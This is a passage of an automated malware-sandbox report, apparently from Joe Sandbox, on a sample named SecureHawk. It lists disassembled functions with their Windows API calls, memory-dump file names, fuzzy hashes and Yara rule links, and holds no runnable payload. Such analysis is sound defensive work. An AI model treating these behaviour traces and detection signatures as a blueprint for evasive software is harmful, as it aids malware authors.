PostMessageW.USER32(?,00000201,00000001), ref: 00349475
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 0034947D
PostMessageW.USER32(?,00000202,00000000), ref: 0034948B
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00349493

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 5da5572654513e505b49f48a39fb875282b13eb711a2b469be7b992e1f7cebbe
Instruction ID: 54a26c9d73a8bde018a6a4c6e5332c6eac7db0eb52c5d33558c75622c7801ddd
Opcode Fuzzy Hash: 5da5572654513e505b49f48a39fb875282b13eb711a2b469be7b992e1f7cebbe
Instruction Fuzzy Hash: 6631EE71500219EFDF15CFA8DD4CB9E7BB9EB45325F10826AF924AA2D0C3B0A914CB90

Function 0034BB68 Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0034BB80
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0034BB9D
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0034BBD5
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0034BBFB
_wcsstr.LIBCMT ref: 0034BC05

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 9eb9953f3df5e8238111101cd84d31eb4bacef87df1f084c80743f48427d6d2a
Instruction ID: 27c6e207f04e54aab95af29ad0b6da55f4a29aa506082177e938f6a84462117a
Opcode Fuzzy Hash: 9eb9953f3df5e8238111101cd84d31eb4bacef87df1f084c80743f48427d6d2a
Instruction Fuzzy Hash: 8621D731604204BBEB2F5B699C85A7BBBECDF49720F014169F805CE151EFA1EC9197A0

Function 0037B538 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 002F29E2: GetWindowLongW.USER32(?,000000EB), ref: 002F29F3

GetWindowLongW.USER32(?,000000F0), ref: 0037B57F
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0037B5A4
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0037B5BC
GetSystemMetrics.USER32(00000004), ref: 0037B5E5
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00361340,00000000), ref: 0037B603

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 84cafed7da24f880a93b76d7f391ea15f4ebe353a06f3bc0e6e92ec5e4704777
Instruction ID: 78019c6080a6165248c8a2a25ee6ce0dea14384b884b9d92e600c83612d0aa77
Opcode Fuzzy Hash: 84cafed7da24f880a93b76d7f391ea15f4ebe353a06f3bc0e6e92ec5e4704777
Instruction Fuzzy Hash: 2B219471614215AFCB269F39CC04B69BBB9FB06735F118728FA29D35E0E7348914CB50

Function 002F16CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002F1729
SelectObject.GDI32(?,00000000), ref: 002F1738
BeginPath.GDI32(?), ref: 002F174F
SelectObject.GDI32(?,00000000), ref: 002F1778

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: f1e64fd63033017c831560a6c5f0f3b910579b1500ef9d2b83fd6d46dc5a304e
Instruction ID: d9401e3ddef4298ef501e66c963550a4754f0bce3620a429bb507cd662164703
Opcode Fuzzy Hash: f1e64fd63033017c831560a6c5f0f3b910579b1500ef9d2b83fd6d46dc5a304e
Instruction Fuzzy Hash: DC21907181030DEBDB129F24EC45779BBBCBB00365F544326FA18D21A1D7B988A5CB90

Function 0034C61A Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0034C62F
_memcmp.LIBCMT ref: 0034C64D
_memcmp.LIBCMT ref: 0034C660
_memcmp.LIBCMT ref: 0034C678
_memcmp.LIBCMT ref: 0034C690

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 19799509ae9627d158ed993387aa60121a85009e971701d6a75c53b813f2aa2e
Instruction ID: 94ed9ed1def01d3fc7fb09e97640a867f4707e65574ce3df04b505ecb2aca5d3
Opcode Fuzzy Hash: 19799509ae9627d158ed993387aa60121a85009e971701d6a75c53b813f2aa2e
Instruction Fuzzy Hash: AE01F9A17132057BD21765115C42FF7B79D9E55784B06A052FE05DE241E625FE20C2A8

Function 00354EBB Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00354EE2
__beginthreadex.LIBCMT ref: 00354F00
MessageBoxW.USER32(?,?,?,?), ref: 00354F15
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00354F2B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00354F32

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 7ed3d1fbe928255f9ff290f9ffbe478094c10ef524370e92230ff96ca7484a91
Instruction ID: 43e7071e01d4da941e9c3ba6c0962f7a2c1d3460f299805578498b0f6c14d595
Opcode Fuzzy Hash: 7ed3d1fbe928255f9ff290f9ffbe478094c10ef524370e92230ff96ca7484a91
Instruction Fuzzy Hash: 121108B6904304BBD7078FAC9C09EDE7BACEB45325F150399FD24D72A1D679894887A0

Function 00348C03 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00348C1F
GetLastError.KERNEL32(?,003486E3,?,?,?), ref: 00348C29
GetProcessHeap.KERNEL32(00000008,?,?,003486E3,?,?,?), ref: 00348C38
HeapAlloc.KERNEL32(00000000,?,003486E3,?,?,?), ref: 00348C3F
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00348C56

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 2522fa1703d90904cf8fe257eacca5f9cef37c450c51194b3588b1ba1ab4f6f8
Instruction ID: c2e9f38f0beffc55f3a3c97f33c9b16ddf591c2c70b539e57810fbf78d7d21ee
Opcode Fuzzy Hash: 2522fa1703d90904cf8fe257eacca5f9cef37c450c51194b3588b1ba1ab4f6f8
Instruction Fuzzy Hash: B7016D75601304BFDB264FB9ECC8DAB7BACEF89764B100469F848D6220DA319D15CBB0

Function 0035566C Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00355688
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00355696
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 0035569E
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 003556A8
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003556E4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 1c7f24adb6c2a6a7baca7e310ecd6e3279d3c9e1c585d998657e176e996b89eb
Instruction ID: 1121ed0803ce59a58a1cf4dcda62f0b3ac77c82e88518f298262e814b20da7c9
Opcode Fuzzy Hash: 1c7f24adb6c2a6a7baca7e310ecd6e3279d3c9e1c585d998657e176e996b89eb
Instruction Fuzzy Hash: B0012D35D41A1DDBCF06AFE4D86C9EEBBBCFB08712F411496E901B2150CB30A55887A1

Function 00347B0B Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?,?,00347E56), ref: 00347B28
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?), ref: 00347B43
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?), ref: 00347B51
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?), ref: 00347B61
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00347A45,80070057,?,?), ref: 00347B6D

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 0857854beb44bc946027de2b406c656177b6af05189183cf8b463a75783b5f9d
Instruction ID: 3f4bfb3cf7f646808831b066d5de8ee7a3ca5cc71d3bafcf9050eb39bc616973
Opcode Fuzzy Hash: 0857854beb44bc946027de2b406c656177b6af05189183cf8b463a75783b5f9d
Instruction Fuzzy Hash: 9C017C76601304BBDB164F74EC48AAA7BEDEF84752F154068F908DA210E771ED40CBA0

Function 00348AAA Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00348AC1
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00348ACB
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00348ADA
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00348AE1
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00348AF7

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 50eec51938e0e942d4cd14147b2cc02d172a0f21c008977947d0b6681302ef6c
Instruction ID: 2ded646d5416e3285b0144e7b103b1c0d40d0c2f49ac905e1ce4093f40fdfb7c
Opcode Fuzzy Hash: 50eec51938e0e942d4cd14147b2cc02d172a0f21c008977947d0b6681302ef6c
Instruction Fuzzy Hash: 9EF0C275204304AFEB560FA4DC8DE6B3BACEF8A768F000055F904C6150DB71EC04DB60

Function 00348B0B Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00348B22
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00348B2C
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B3B
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B42
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00348B58

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: e6b96bd9a9a8cbb2549ce992852ccfeeebc290436dbfb33626ff5186c0efdeb0
Instruction ID: 359122ecba7c63412c09ee95c21e0efd552a2bbd2c913d7b635185a4ec1c59e4
Opcode Fuzzy Hash: e6b96bd9a9a8cbb2549ce992852ccfeeebc290436dbfb33626ff5186c0efdeb0
Instruction Fuzzy Hash: 04F0AF75200304AFEB530FA4EC8CE6B3BACEF89754F000069F904DA160DA60A804DB61

Function 0034CB5F Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0034CB73
GetWindowTextW.USER32(00000000,?,00000100), ref: 0034CB8A
MessageBeep.USER32(00000000), ref: 0034CBA2
KillTimer.USER32(?,0000040A), ref: 0034CBBE
EndDialog.USER32(?,00000001), ref: 0034CBD8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 559567b6bd8d18f52762e0d2e7969c1871fffff4235d14be005a879854528a9b
Instruction ID: 85ee0c4c694610c23e1f6f1b77a648f2fa1e9ec96429e9e3597667957b9d0db1
Opcode Fuzzy Hash: 559567b6bd8d18f52762e0d2e7969c1871fffff4235d14be005a879854528a9b
Instruction Fuzzy Hash: B2016230551708ABEB665B50DD4EFA677BCFF00705F000699F582654E0DBE1B9588F90

Function 002F178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 002F179B
StrokeAndFillPath.GDI32(?,?,0032BAF9,00000000,?), ref: 002F17B7
SelectObject.GDI32(?,00000000), ref: 002F17CA
DeleteObject.GDI32 ref: 002F17DD
StrokePath.GDI32(?), ref: 002F17F8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 511f535cb3652d8549194e736fdeb0e0082d37358b02ea70ff23f09d1af59bf9
Instruction ID: fe9ef81f8883f953e14c7c66214bde2cad6e98faac8291b19b6b2a113cbce0a6
Opcode Fuzzy Hash: 511f535cb3652d8549194e736fdeb0e0082d37358b02ea70ff23f09d1af59bf9
Instruction Fuzzy Hash: 5DF0197101430DEBDB5B6F25EC0D768BBA8AB0036AF448364EA2D840F1C73949A9DF50

Function 0035C847 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0035C8E2
CoCreateInstance.OLE32(00383D3C,00000000,00000001,00383BAC,?), ref: 0035C8FA

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

CoUninitialize.OLE32 ref: 0035CB67

Strings

.lnk, xrefs: 0035C876, 0035C89E, 0035C8A8

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: cfab5061cc2ca725b104705f78c98301ce9a83de346f1a9833823fd5e013fd3c
Instruction ID: ec888346a618fa0fbb127be7ce540163d617af18c5e62911a7fe45741d71e5a9
Opcode Fuzzy Hash: cfab5061cc2ca725b104705f78c98301ce9a83de346f1a9833823fd5e013fd3c
Instruction Fuzzy Hash: 86A14F71114205AFD301EF64C891EABB7E8EF94748F00496CF6559B1A1EBB0EA49CB92

Function 002FE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00310F16: std::exception::exception.LIBCMT ref: 00310F4C
Part of subcall function 00310F16: __CxxThrowException@8.LIBCMT ref: 00310F61

Part of subcall function 00301A36: _memmove.LIBCMT ref: 00301A77

Part of subcall function 00301680: _memmove.LIBCMT ref: 003016DB

__swprintf.LIBCMT ref: 002FE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 002FE431

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: f2dcaf161e200a5330d6047be19f4cb3300a1547e04699722a0ee1796c570b13
Instruction ID: cee3e4c4797f2da81f977629819c5962e546d57871268584aa512919475faa49
Opcode Fuzzy Hash: f2dcaf161e200a5330d6047be19f4cb3300a1547e04699722a0ee1796c570b13
Instruction Fuzzy Hash: AE91B1711142059FC71AEF24C896C7FB7A8EF95740F41092DF5929B2A1EB70EE48CB92

Function 0031516D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 003151FD

Part of subcall function 00320250: __87except.LIBCMT ref: 0032028B

Strings

pow, xrefs: 003151D5, 003151F2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 61cc103239efc2e7ab28b1e0a5cb866a3e54c8714b8b7da2f6f0cb5db828abde
Instruction ID: 42884b08b428509e08b074e14608bc927bb7f32437f4ff371793b1424d7473fc
Opcode Fuzzy Hash: 61cc103239efc2e7ab28b1e0a5cb866a3e54c8714b8b7da2f6f0cb5db828abde
Instruction Fuzzy Hash: A5519732908701D7CB1FB714E8413AE7B98AB84740F218D69E0D5861ABEF348CD99A46

Function 0031057F Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 003105BB
#, xrefs: 003105C4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 68863ca18e2abf608f06f24194c13f7c67da38696664fdfa7ab31ffc1c53fa44
Instruction ID: 235cbc1986c8eda0abfdebd5886c2c1742165c01f71364ffe1e17240fcb17e86
Opcode Fuzzy Hash: 68863ca18e2abf608f06f24194c13f7c67da38696664fdfa7ab31ffc1c53fa44
Instruction Fuzzy Hash: 29512071104215CFDF1BDF28C8526FA7BA8EF5A310F164056E8819F291DB74EC96CB62

Function 002FE7F7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

